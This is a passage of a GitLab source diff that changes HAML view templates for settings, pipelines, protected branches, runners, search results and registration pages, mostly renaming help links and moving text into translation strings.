+ .gl-mt-3
+ = f.submit s_('GitLabPages|Save changes'), class: 'btn btn-confirm gl-button'
- if Gitlab.config.pages.external_http || Gitlab.config.pages.external_https
@@ -15,4 +18,4 @@
= s_("GitLabPages|When enabled, all attempts to visit your website through HTTP are automatically redirected to HTTPS using a response with status code 301. Requires a valid certificate for all domains. %{docs_link_start}Learn more.%{link_end}").html_safe % { docs_link_start: docs_link_start, link_end: link_end }
.gl-mt-3
- = f.submit s_('GitLabPages|Save'), class: 'btn btn-confirm gl-button'
+ = f.submit s_('GitLabPages|Save changes'), class: 'btn btn-confirm gl-button'
diff --git a/app/views/projects/pipelines/_with_tabs.html.haml b/app/views/projects/pipelines/_with_tabs.html.haml
index e56a240c487..c1d48992500 100644
--- a/app/views/projects/pipelines/_with_tabs.html.haml
+++ b/app/views/projects/pipelines/_with_tabs.html.haml
@@ -78,7 +78,7 @@
= build_summary(build)
#js-tab-dag.tab-pane
- #js-pipeline-dag-vue{ data: { pipeline_project_path: @project.full_path, pipeline_iid: @pipeline.iid, empty_svg_path: image_path('illustrations/empty-state/empty-dag-md.svg'), about_dag_doc_path: help_page_path('ci/directed_acyclic_graph/index.md'), dag_doc_path: help_page_path('ci/yaml/README.md', anchor: 'needs')} }
+ #js-pipeline-dag-vue{ data: { pipeline_project_path: @project.full_path, pipeline_iid: @pipeline.iid, empty_svg_path: image_path('illustrations/empty-state/empty-dag-md.svg'), about_dag_doc_path: help_page_path('ci/directed_acyclic_graph/index.md'), dag_doc_path: help_page_path('ci/yaml/index.md', anchor: 'needs')} }
#js-tab-tests.tab-pane
#js-pipeline-tests-detail{ data: { summary_endpoint: summary_project_pipeline_tests_path(@project, @pipeline, format: :json),
diff --git a/app/views/projects/pipelines/index.html.haml b/app/views/projects/pipelines/index.html.haml
index 9669b2e72dc..ae76d4905e0 100644
--- a/app/views/projects/pipelines/index.html.haml
+++ b/app/views/projects/pipelines/index.html.haml
@@ -22,7 +22,7 @@
"ci-lint-path" => can?(current_user, :create_pipeline, @project) && project_ci_lint_path(@project),
"reset-cache-path" => can?(current_user, :admin_pipeline, @project) && reset_cache_project_settings_ci_cd_path(@project),
"has-gitlab-ci" => has_gitlab_ci?(@project).to_s,
- "add-ci-yml-path" => can?(current_user, :create_pipeline, @project) && @project.present(current_user: current_user).add_ci_yml_path,
- "suggested-ci-templates" => experiment_suggested_ci_templates.to_json,
+ "pipeline-editor-path" => can?(current_user, :create_pipeline, @project) && project_ci_pipeline_editor_path(@project),
+ "suggested-ci-templates" => suggested_ci_templates.to_json,
"code-quality-page-path" => @project.present(current_user: current_user).add_code_quality_ci_yml_path,
"ci-runner-settings-path" => project_settings_ci_cd_path(@project, ci_runner_templates: true, anchor: 'js-runners-settings') } }
diff --git a/app/views/projects/prometheus/metrics/edit.html.haml b/app/views/projects/prometheus/metrics/edit.html.haml
index 15a9c922ca6..d308824571e 100644
--- a/app/views/projects/prometheus/metrics/edit.html.haml
+++ b/app/views/projects/prometheus/metrics/edit.html.haml
@@ -1,6 +1,6 @@
- add_to_breadcrumbs _("Settings"), edit_project_path(@project)
- add_to_breadcrumbs _("Integrations"), project_settings_integrations_path(@project)
-- add_to_breadcrumbs "Prometheus", edit_project_service_path(@project, PrometheusService)
+- add_to_breadcrumbs "Prometheus", edit_project_service_path(@project, ::Integrations::Prometheus)
- breadcrumb_title s_('Metrics|Edit metric')
- page_title @metric.title, s_('Metrics|Edit metric')
= render 'form', project: @project, metric: @metric
diff --git a/app/views/projects/prometheus/metrics/new.html.haml b/app/views/projects/prometheus/metrics/new.html.haml
index fa925d090cb..8415ec9ee41 100644
--- a/app/views/projects/prometheus/metrics/new.html.haml
+++ b/app/views/projects/prometheus/metrics/new.html.haml
@@ -1,6 +1,6 @@
- add_to_breadcrumbs _("Settings"), edit_project_path(@project)
- add_to_breadcrumbs _("Integrations"), project_settings_integrations_path(@project)
-- add_to_breadcrumbs "Prometheus", edit_project_service_path(@project, PrometheusService)
+- add_to_breadcrumbs "Prometheus", edit_project_service_path(@project, ::Integrations::Prometheus)
- breadcrumb_title s_('Metrics|New metric')
- page_title s_('Metrics|New metric')
= render 'form', project: @project, metric: @metric
diff --git a/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml b/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml
index ad131b22924..57fc9a16c0a 100644
--- a/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml
+++ b/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml
@@ -10,7 +10,7 @@
.col-md-10
= render partial: "projects/protected_branches/shared/dropdown", locals: { f: f }
.form-text.text-muted
- - wildcards_url = help_page_url('user/project/protected_branches', anchor: 'wildcard-protected-branches')
+ - wildcards_url = help_page_url('user/project/protected_branches', anchor: 'configure-multiple-protected-branches-by-using-a-wildcard')
- wildcards_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: wildcards_url }
= (s_("ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported.") % { wildcards_link_start: wildcards_link_start, wildcards_link_end: '</a>', code_tag_start: '<code>', code_tag_end: '</code>' }).html_safe
.form-group.row
diff --git a/app/views/projects/protected_branches/shared/_index.html.haml b/app/views/projects/protected_branches/shared/_index.html.haml
index 08246a173d8..2e9a9357fb0 100644
--- a/app/views/projects/protected_branches/shared/_index.html.haml
+++ b/app/views/projects/protected_branches/shared/_index.html.haml
@@ -3,19 +3,16 @@
%section.settings.no-animate#js-protected-branches-settings{ class: ('expanded' if expanded), data: { qa_selector: 'protected_branches_settings_content' } }
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
- Protected branches
+ = s_("ProtectedBranch|Protected branches")
%button.btn.gl-button.btn-default.js-settings-toggle.qa-expand-protected-branches{ type: 'button' }
= expanded ? 'Collapse' : 'Expand'
%p
- Keep stable branches secure, and force developers to use merge requests. #{link_to "What are protected branches?", help_page_path("user/project/protected_branches")}
+ = s_("ProtectedBranch|Keep stable branches secure and force developers to use merge requests.")
+ = link_to s_("ProtectedBranch|What are protected branches?"), help_page_path("user/project/protected_branches")
.settings-content
%p
- By default, protected branches protect your code and:
- %ul
- %li Allow only users with Maintainer #{link_to "permissions", help_page_path("user/permissions")} to create new protected branches.
- %li Allow only users with Maintainer permissions to push code.
- %li Prevent <strong>anyone</strong> from #{link_to "force-pushing", help_page_path('topics/git/git_rebase', anchor: 'force-push')} to the branch.
- %li Prevent <strong>anyone</strong> from deleting the branch.
+ = s_("ProtectedBranch|By default, protected branches restrict who can modify the branch.")
+ = link_to s_("ProtectedBranch|Learn more."), help_page_path("user/project/protected_branches", anchor: "who-can-modify-a-protected-branch")
- if can? current_user, :admin_project, @project
= content_for :create_protected_branch
diff --git a/app/views/projects/protected_tags/shared/_index.html.haml b/app/views/projects/protected_tags/shared/_index.html.haml
index aab4d366605..fe63f921780 100644
--- a/app/views/projects/protected_tags/shared/_index.html.haml
+++ b/app/views/projects/protected_tags/shared/_index.html.haml
@@ -3,18 +3,16 @@
%section.settings.no-animate#js-protected-tags-settings{ class: ('expanded' if expanded), data: { qa_selector: 'protected_tag_settings_content' } }
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
- Protected tags
+ = s_("ProtectedTag|Protected tags")
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded ? 'Collapse' : 'Expand'
%p
- Limit access to creating and updating tags. #{link_to "What are protected tags?", help_page_path("user/project/protected_tags")}
+ = s_("ProtectedTag|Limit access to creating and updating tags.")
+ = link_to s_("ProtectedTag|What are protected tags?"), help_page_path("user/project/protected_tags")
.settings-content
%p
- By default, protected tags protect your code and:
- %ul
- %li Allow only users with Maintainer #{link_to "permissions", help_page_path("user/permissions")} to create tags.
- %li Prevent <strong>anyone</strong> from updating tags.
- %li Prevent <strong>anyone</strong> from deleting tags.
+ = s_("ProtectedTag|By default, protected branches restrict who can modify the tag.")
+ = link_to s_("ProtectedTag|Learn more."), help_page_path("user/project/protected_tags", anchor: "who-can-modify-a-protected-tag")
- if can? current_user, :admin_project, @project
= yield :create_protected_tag
diff --git a/app/views/projects/registry/settings/_index.haml b/app/views/projects/registry/settings/_index.haml
deleted file mode 100644
index a4d4a1bb2dd..00000000000
--- a/app/views/projects/registry/settings/_index.haml
+++ /dev/null
@@ -1,9 +0,0 @@
-#js-registry-settings{ data: { project_id: @project.id,
- project_path: @project.full_path,
- cadence_options: cadence_options.to_json,
- keep_n_options: keep_n_options.to_json,
- older_than_options: older_than_options.to_json,
- is_admin: current_user&.admin.to_s,
- admin_settings_path: ci_cd_admin_application_settings_path(anchor: 'js-registry-settings'),
- enable_historic_entries: container_expiration_policies_historic_entry_enabled?(@project).to_s,
- tags_regex_help_page_path: help_page_path('user/packages/container_registry/index', anchor: 'regex-pattern-examples') } }
diff --git a/app/views/projects/releases/index.html.haml b/app/views/projects/releases/index.html.haml
index 4d5b8cc80f7..9ddf2201fad 100644
--- a/app/views/projects/releases/index.html.haml
+++ b/app/views/projects/releases/index.html.haml
@@ -1,3 +1,5 @@
- page_title _('Releases')
+- if use_startup_query_for_index_page?
+ - add_page_startup_graphql_call('releases/all_releases', index_page_startup_query_variables)
#js-releases-page{ data: data_for_releases_page }
diff --git a/app/views/projects/runners/_index.html.haml b/app/views/projects/runners/_settings.html.haml
index a02bdac442b..a02bdac442b 100644
--- a/app/views/projects/runners/_index.html.haml
+++ b/app/views/projects/runners/_settings.html.haml
diff --git a/app/views/projects/runners/_specific_runners.html.haml b/app/views/projects/runners/_specific_runners.html.haml
index 210cc414007..eb376ff7960 100644
--- a/app/views/projects/runners/_specific_runners.html.haml
+++ b/app/views/projects/runners/_specific_runners.html.haml
@@ -2,22 +2,26 @@
= _('Specific runners')
.bs-callout.help-callout
- = _('These runners are specific to this project.')
- %hr
- = render partial: 'ci/runner/how_to_setup_runner_automatically',
- locals: { type: 'specific',
- clusters_path: project_clusters_path(@project) }
- - if params[:ci_runner_templates]
+ - if valid_runner_registrars.include?('project')
+ = _('These runners are specific to this project.')
%hr
- = render partial: 'ci/runner/setup_runner_in_aws',
- locals: { registration_token: @project.runners_token }
- %hr
- = render partial: 'ci/runner/how_to_setup_runner',
- locals: { registration_token: @project.runners_token,
- type: 'specific',
- reset_token_url: reset_registration_token_namespace_project_settings_ci_cd_path,
- project_path: @project.path_with_namespace,
- group_path: '' }
+ = render partial: 'ci/runner/how_to_setup_runner_automatically',
+ locals: { type: s_('Runners|specific'),
+ clusters_path: project_clusters_path(@project) }
+ - if params[:ci_runner_templates]
+ %hr
+ = render partial: 'ci/runner/setup_runner_in_aws',
+ locals: { registration_token: @project.runners_token }
+ %hr
+ = render partial: 'ci/runner/how_to_setup_runner',
+ locals: { registration_token: @project.runners_token,
+ type: s_('Runners|specific'),
+ reset_token_url: reset_registration_token_namespace_project_settings_ci_cd_path,
+ project_path: @project.path_with_namespace,
+ group_path: '' }
+ - else
+ = _('Please contact an admin to register runners.')
+ = link_to _('Learn more.'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'runner-registration'), target: '_blank', rel: 'noopener noreferrer'
%hr
diff --git a/app/views/projects/security/configuration/show.html.haml b/app/views/projects/security/configuration/show.html.haml
index 4d6feb9de6d..d4a85893fa4 100644
--- a/app/views/projects/security/configuration/show.html.haml
+++ b/app/views/projects/security/configuration/show.html.haml
@@ -1,4 +1,6 @@
- breadcrumb_title _("Security Configuration")
- page_title _("Security Configuration")
+- redesign_enabled = ::Feature.enabled?(:security_configuration_redesign, @project, default_enabled: :yaml)
+- @content_class = "limit-container-width" unless fluid_layout || !redesign_enabled
#js-security-configuration-static{ data: { project_path: @project.full_path, upgrade_path: security_upgrade_path } }
diff --git a/app/views/projects/settings/access_tokens/index.html.haml b/app/views/projects/settings/access_tokens/index.html.haml
index 1bf252b6282..52ef2e7d1ee 100644
--- a/app/views/projects/settings/access_tokens/index.html.haml
+++ b/app/views/projects/settings/access_tokens/index.html.haml
@@ -33,12 +33,17 @@
= render 'shared/access_tokens/form',
type: type,
path: project_settings_access_tokens_path(@project),
+ project: @project,
token: @project_access_token,
scopes: @scopes,
- prefix: :project_access_token
+ access_levels: ProjectMember.access_level_roles,
+ default_access_level: Gitlab::Access::MAINTAINER,
+ prefix: :project_access_token,
+ help_path: help_page_path('user/project/settings/project_access_tokens', anchor: 'limiting-scopes-of-a-project-access-token')
= render 'shared/access_tokens/table',
active_tokens: @active_project_access_tokens,
+ project: @project,
type: type,
type_plural: type_plural,
revoke_route_helper: ->(token) { revoke_namespace_project_settings_access_token_path(id: token) },
diff --git a/app/views/projects/settings/ci_cd/_autodevops_form.html.haml b/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
index 68e4bed8b9a..8563f28eb33 100644
--- a/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
+++ b/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
@@ -6,7 +6,7 @@
- kubernetes_cluster_path = help_page_path('user/project/clusters/index')
- kubernetes_cluster_link_start = link_start % { url: kubernetes_cluster_path }
-- base_domain_path = help_page_path('user/project/clusters/index', anchor: 'base-domain')
+- base_domain_path = help_page_path('user/project/clusters/gitlab_managed_clusters', anchor: 'base-domain')
- base_domain_link_start = link_start % { url: base_domain_path }
.row
diff --git a/app/views/projects/settings/ci_cd/_form.html.haml b/app/views/projects/settings/ci_cd/_form.html.haml
index c89c9879f4b..a91c12d01ad 100644
--- a/app/views/projects/settings/ci_cd/_form.html.haml
+++ b/app/views/projects/settings/ci_cd/_form.html.haml
@@ -10,7 +10,7 @@
%strong= _("Public pipelines")
.form-text.text-muted
= _("Allow public access to pipelines and job details, including output logs and artifacts.")
- = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'visibility-of-pipelines'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'change-which-users-can-view-your-pipelines'), target: '_blank'
.form-group
.form-check
@@ -36,7 +36,7 @@
= f.text_field :ci_config_path, class: 'form-control', placeholder: '.gitlab-ci.yml'
%p.form-text.text-muted
= html_escape(_("The name of the CI/CD configuration file. A path relative to the root directory is optional (for example %{code_open}my/path/.myfile.yml%{code_close}).")) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'custom-cicd-configuration-file'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'specify-a-custom-cicd-configuration-file'), target: '_blank'
%hr
.form-group
@@ -44,7 +44,7 @@
= _("Git strategy")
%p
= _("Choose which Git strategy to use when fetching the project.")
- = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'git-strategy'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'choose-the-default-git-strategy'), target: '_blank'
.form-check
= f.radio_button :build_allow_git_fetch, 'false', { class: 'form-check-input' }
= f.label :build_allow_git_fetch_false, class: 'form-check-label' do
@@ -66,7 +66,7 @@
= form.number_field :default_git_depth, { class: 'form-control gl-form-input', min: 0, max: 1000 }
%p.form-text.text-muted
= html_escape(_('The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'git-shallow-clone'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'limit-the-number-of-changes-fetched-during-clone'), target: '_blank'
%hr
.form-group
@@ -74,7 +74,7 @@
= f.text_field :build_timeout_human_readable, class: 'form-control gl-form-input'
%p.form-text.text-muted
= html_escape(_('Jobs fail if they run longer than the timeout time. Input value is in seconds by default. Human readable input is also accepted, for example %{code_open}1 hour%{code_close}.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'timeout'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'set-a-limit-for-how-long-jobs-can-run'), target: '_blank'
- if can?(current_user, :update_max_artifacts_size, @project)
.form-group
@@ -94,7 +94,7 @@
.input-group-text /
%p.form-text.text-muted
= html_escape(_('The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable.')) % { regex: '<code>\(\d+.\d+%\)</code>'.html_safe }
- = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'test-coverage-parsing'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'add-test-coverage-results-to-a-merge-request'), target: '_blank'
= f.submit _('Save changes'), class: "btn gl-button btn-confirm", data: { qa_selector: 'save_general_pipelines_changes_button' }
diff --git a/app/views/projects/settings/ci_cd/show.html.haml b/app/views/projects/settings/ci_cd/show.html.haml
index ade3d40a8df..70626636ac0 100644
--- a/app/views/projects/settings/ci_cd/show.html.haml
+++ b/app/views/projects/settings/ci_cd/show.html.haml
@@ -41,9 +41,9 @@
= expanded ? _('Collapse') : _('Expand')
%p
= _("Runners are processes that pick up and execute CI/CD jobs for GitLab.")
- = link_to s_('How do I configure runners?'), help_page_path('ci/runners/README'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to s_('How do I configure runners?'), help_page_path('ci/runners/index'), target: '_blank', rel: 'noopener noreferrer'
.settings-content
- = render 'projects/runners/index'
+ = render 'projects/runners/settings'
- if Gitlab::CurrentSettings.current_application_settings.keep_latest_artifact?
%section.settings.no-animate#js-artifacts-settings{ class: ('expanded' if expanded) }
@@ -71,13 +71,10 @@
= expanded ? _('Collapse') : _('Expand')
%p
= _("Trigger a pipeline for a branch or tag by generating a trigger token and using it with an API call. The token impersonates a user's project access and permissions.")
- = link_to _('Learn more.'), help_page_path('ci/triggers/README'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/triggers/index'), target: '_blank', rel: 'noopener noreferrer'
.settings-content
= render 'projects/triggers/index'
-- if settings_container_registry_expiration_policy_available?(@project)
- = render 'projects/registry/settings/index'
-
= render_if_exists 'projects/settings/ci_cd/auto_rollback', expanded: expanded
- if can?(current_user, :create_freeze_period, @project)
@@ -98,3 +95,16 @@
.settings-content
= render 'ci/deploy_freeze/index'
+
+- if Feature.enabled?(:ci_scoped_job_token, @project, default_enabled: :yaml)
+ %section.settings.no-animate#js-token-access{ class: ('expanded' if expanded) }
+ .settings-header
+ %h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
+ = _("Token Access")
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
+ = expanded ? _('Collapse') : _('Expand')
+ %p
+ = _("Control which projects can be accessed by API requests authenticated with this project's CI_JOB_TOKEN CI/CD variable. It is a security risk to disable this feature, because unauthorized projects might attempt to retrieve an active token and access the API.")
+ = link_to _('Learn more'), help_page_path('api/index', anchor: 'limit-gitlab-cicd-job-token-access'), target: '_blank', rel: 'noopener noreferrer'
+ .settings-content
+ = render 'ci/token_access/index'
diff --git a/app/views/projects/settings/operations/show.html.haml b/app/views/projects/settings/operations/show.html.haml
index e2c1a00a587..215448be3d6 100644
--- a/app/views/projects/settings/operations/show.html.haml
+++ b/app/views/projects/settings/operations/show.html.haml
@@ -1,7 +1,6 @@
- @content_class = 'limit-container-width' unless fluid_layout
-- title = Feature.enabled?(:sidebar_refactor, current_user, default_enabled: :yaml) ? _('Monitor Settings') : _('Operations Settings')
-- page_title title
-- breadcrumb_title title
+- page_title _('Monitor Settings')
+- breadcrumb_title _('Monitor Settings')
= render 'projects/settings/operations/metrics_dashboard'
= render 'projects/settings/operations/tracing'
@@ -10,4 +9,4 @@
= render 'projects/settings/operations/incidents'
= render 'projects/settings/operations/grafana_integration'
= render_if_exists 'projects/settings/operations/status_page'
-= render 'projects/settings/operations/prometheus', service: prometheus_service if Feature.enabled?(:settings_operations_prometheus_service)
+= render 'projects/settings/operations/prometheus', service: prometheus_integration if Feature.enabled?(:settings_operations_prometheus_service)
diff --git a/app/views/registrations/experience_levels/show.html.haml b/app/views/registrations/experience_levels/show.html.haml
index f878245a48c..16e59757147 100644
--- a/app/views/registrations/experience_levels/show.html.haml
+++ b/app/views/registrations/experience_levels/show.html.haml
@@ -1,4 +1,5 @@
- page_title _('What’s your experience level?')
+- @hide_flash = true
.gl-display-flex.gl-flex-direction-column.gl-align-items-center
= image_tag 'learn-gitlab-avatar.jpg', width: '90'
diff --git a/app/views/registrations/invites/new.html.haml b/app/views/registrations/invites/new.html.haml
deleted file mode 100644
index 0feae9b17e9..00000000000
--- a/app/views/registrations/invites/new.html.haml
+++ /dev/null
@@ -1,17 +0,0 @@
-- page_title _('Join your team')
-- add_page_specific_style 'page_bundles/signup'
-- content_for :page_specific_javascripts do
- = render "layouts/google_tag_manager_head"
-= render "layouts/google_tag_manager_body"
-
-%h2.center.pt-6.pb-3.gl-mb-0
- = _('Join your team')
-%p.gl-text-center= _('Create your own profile to collaborate with your teammates in issues, merge requests, and more.')
-
-.signup-page
- = render 'devise/shared/signup_box',
- url: users_sign_up_invites_path,
- button_text: _('Continue'),
- show_omniauth_providers: social_signin_enabled?,
- omniauth_providers_placement: :top
- = render 'devise/shared/sign_in_link'
diff --git a/app/views/registrations/welcome/show.html.haml b/app/views/registrations/welcome/show.html.haml
index e85ce1ba6ac..9356b6ad49c 100644
--- a/app/views/registrations/welcome/show.html.haml
+++ b/app/views/registrations/welcome/show.html.haml
@@ -1,10 +1,11 @@
+- @html_class = "subscriptions-layout-html"
- page_title _('Your profile')
- add_page_specific_style 'page_bundles/signup'
- gitlab_experience_text = _('To personalize your GitLab experience, we\'d like to know a bit more about you')
.row.gl-flex-grow-1
- .d-flex.gl-flex-direction-column.gl-align-items-center.gl-w-full.gl-p-5
- .edit-profile.login-page.d-flex.flex-column.gl-align-items-center.pt-lg-3
+ .d-flex.gl-flex-direction-column.gl-align-items-center.gl-w-full.gl-px-5.gl-pb-5
+ .edit-profile.login-page.d-flex.flex-column.gl-align-items-center
= render_if_exists "registrations/welcome/progress_bar"
%h2.gl-text-center= html_escape(_('Welcome to GitLab,%{br_tag}%{name}!')) % { name: html_escape(current_user.first_name), br_tag: '<br/>'.html_safe }
- if Gitlab.com?
diff --git a/app/views/root/index.html.haml b/app/views/root/index.html.haml
new file mode 100644
index 00000000000..97dd8e133f5
--- /dev/null
+++ b/app/views/root/index.html.haml
@@ -0,0 +1,10 @@
+- if show_customize_homepage_banner?
+ = content_for :customize_homepage_banner do
+ .gl-display-none.gl-md-display-block{ class: "gl-pt-6! gl-pb-2! #{(container_class unless @no_container)} #{@content_class}" }
+ .js-customize-homepage-banner{ data: { svg_path: image_path('illustrations/monitoring/getting_started.svg'),
+ preferences_behavior_path: profile_preferences_path(anchor: 'behavior'),
+ callouts_path: user_callouts_path,
+ callouts_feature_id: UserCalloutsHelper::CUSTOMIZE_HOMEPAGE,
+ track_label: 'home_page' } }
+
+= render template: 'dashboard/projects/index'
diff --git a/app/views/search/_results.html.haml b/app/views/search/_results.html.haml
index 4ba906dd02f..d5d3cd753f3 100644
--- a/app/views/search/_results.html.haml
+++ b/app/views/search/_results.html.haml
@@ -1,20 +1,16 @@
- search_bar_classes = 'search-sidebar gl-display-flex gl-flex-direction-column gl-mr-4'
+= render_if_exists 'shared/promotions/promote_advanced_search'
+= render partial: 'search/results_status', locals: { search_service: @search_service } unless @search_objects.to_a.empty?
-- if @search_objects.to_a.empty?
- .gl-md-display-flex
- - if %w(issues merge_requests).include?(@scope)
- #js-search-sidebar{ class: search_bar_classes }
- .gl-w-full.gl-flex-grow-1.gl-overflow-x-hidden
+.results.gl-md-display-flex.gl-mt-3
+ - if %w(issues merge_requests).include?(@scope)
+ #js-search-sidebar{ class: search_bar_classes }
+ .gl-w-full.gl-flex-grow-1.gl-overflow-x-hidden
+ - if @timeout
+ = render partial: "search/results/timeout"
+ - elsif @search_objects.to_a.empty?
= render partial: "search/results/empty"
- = render_if_exists 'shared/promotions/promote_advanced_search'
-- else
- = render partial: 'search/results_status', locals: { search_service: @search_service }
- = render_if_exists 'shared/promotions/promote_advanced_search'
-
- .results.gl-md-display-flex.gl-mt-3
- - if %w(issues merge_requests).include?(@scope)
- #js-search-sidebar{ class: search_bar_classes }
- .gl-w-full.gl-flex-grow-1.gl-overflow-x-hidden
+ - else
- if @scope == 'commits'
%ul.content-list.commit-list
= render partial: "search/results/commit", collection: @search_objects
diff --git a/app/views/search/results/_blob_data.html.haml b/app/views/search/results/_blob_data.html.haml
index 16d640273b0..fb2825ad15e 100644
--- a/app/views/search/results/_blob_data.html.haml
+++ b/app/views/search/results/_blob_data.html.haml
@@ -5,6 +5,7 @@
= sprite_icon('document')
%strong
= search_blob_title(project, path)
+ = copy_file_path_button(path)
- if blob.data
.file-content.code.term{ data: { qa_selector: 'file_text_content' } }
= render 'shared/file_highlight', blob: blob, first_line_number: blob.startline, blob_link: blob_link, highlight_line: blob.highlight_line
diff --git a/app/views/search/results/_issuable.html.haml b/app/views/search/results/_issuable.html.haml
index da0adba88db..551f5c048bc 100644
--- a/app/views/search/results/_issuable.html.haml
+++ b/app/views/search/results/_issuable.html.haml
@@ -1,14 +1,19 @@
-%div{ class: 'search-result-row gl-pb-3! gl-mt-5 gl-mb-0!' }
- %span.gl-display-flex.gl-align-items-center
- %span.badge.badge-pill.gl-badge.sm{ class: "badge-#{issuable_state_to_badge_class(issuable)}" }= issuable_state_text(issuable)
- = sprite_icon('eye-slash', css_class: 'gl-text-gray-500 gl-ml-2') if issuable.respond_to?(:confidential?) && issuable.confidential?
- = link_to issuable_path(issuable), data: { track_event: 'click_text', track_label: "#{issuable.class.name.downcase}_title", track_property: 'search_result' }, class: 'gl-w-full' do
- %span.term.str-truncated.gl-font-weight-bold.gl-ml-2= issuable.title
- .gl-text-gray-500.gl-my-3
- = issuable_project_reference(issuable)
- &middot;
- = sprintf(s_('created %{issuable_created} by %{author}'), { issuable_created: time_ago_with_tooltip(issuable.created_at, placement: 'bottom'), author: link_to_member(@project, issuable.author, avatar: false) }).html_safe
- &middot;
- = sprintf(s_('updated %{time_ago}'), { time_ago: time_ago_with_tooltip(issuable.updated_at, placement: 'bottom') }).html_safe
- .description.term.col-sm-10.gl-px-0
- = highlight_and_truncate_issuable(issuable, @search_term, @search_highlight)
+%div{ class: 'search-result-row gl-display-flex gl-sm-flex-direction-row gl-flex-direction-column gl-align-items-center gl-pb-3! gl-mt-5 gl-mb-0!' }
+ .col-sm-9
+ %span.gl-display-flex.gl-align-items-center
+ %span.badge.badge-pill.gl-badge.sm{ class: "badge-#{issuable_state_to_badge_class(issuable)}" }= issuable_state_text(issuable)
+ = sprite_icon('eye-slash', css_class: 'gl-text-gray-500 gl-ml-2') if issuable.respond_to?(:confidential?) && issuable.confidential?
+ = link_to issuable_path(issuable), data: { track_event: 'click_text', track_label: "#{issuable.class.name.downcase}_title", track_property: 'search_result' }, class: 'gl-w-full' do
+ %span.term.str-truncated.gl-font-weight-bold.gl-ml-2= issuable.title
+ .gl-text-gray-500.gl-my-3
+ = issuable_project_reference(issuable)
+ &middot;
+ = sprintf(s_('created %{issuable_created} by %{author}'), { issuable_created: time_ago_with_tooltip(issuable.created_at, placement: 'bottom'), author: link_to_member(@project, issuable.author, avatar: false) }).html_safe
+ .description.term.gl-px-0
+ = highlight_and_truncate_issuable(issuable, @search_term, @search_highlight)
+ .col-sm-3.gl-mt-3.gl-sm-mt-0.gl-text-right
+ - if Feature.enabled?(:search_sort_issues_by_popularity) && issuable.respond_to?(:upvotes_count) && issuable.upvotes_count > 0
+ %li.issuable-upvotes.gl-list-style-none.has-tooltip{ title: _('Upvotes') }
+ = sprite_icon('thumb-up', css_class: "gl-vertical-align-middle")
+ = issuable.upvotes_count
+ %span.gl-text-gray-500= sprintf(s_('updated %{time_ago}'), { time_ago: time_ago_with_tooltip(issuable.updated_at, placement: 'bottom') }).html_safe
diff --git a/app/views/search/results/_timeout.html.haml b/app/views/search/results/_timeout.html.haml
new file mode 100644
index 00000000000..740e2bedd54
--- /dev/null
+++ b/app/views/search/results/_timeout.html.haml
@@ -0,0 +1,10 @@
+.gl-display-flex.gl-flex-direction-column.gl-align-items-center
+ %div
+ .svg-content.svg-150
+ = image_tag 'illustrations/search-timeout-md.svg'
+ %div
+ %h4.gl-text-center.gl-font-weight-bold= _('Your search timed out')
+ %p.gl-text-center= _('To resolve this, try to:')
+ %ul
+ %li= html_escape(_('Refine your search criteria (select a %{strong_open}group%{strong_close} and %{strong_open}project%{strong_close} when possible)')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
+ %li= html_escape(_('Use double quotes for multiple keywords, such as %{code_open}"your search"%{code_close}')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
diff --git a/app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml b/app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml
index f788bf53a4c..35a3835a522 100644
--- a/app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml
+++ b/app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml
@@ -10,5 +10,5 @@
%div
= _('Container registry is not enabled on this GitLab instance. Ask an administrator to enable it in order for Auto DevOps to work.')
.gl-alert-actions
- = link_to _('Settings'), project_settings_ci_cd_path(project), class: 'alert-link btn gl-button btn-info'
- = link_to _('More information'), help_page_path('topics/autodevops/index.md'), target: '_blank', class: 'alert-link btn gl-button btn-default gl-ml-2'
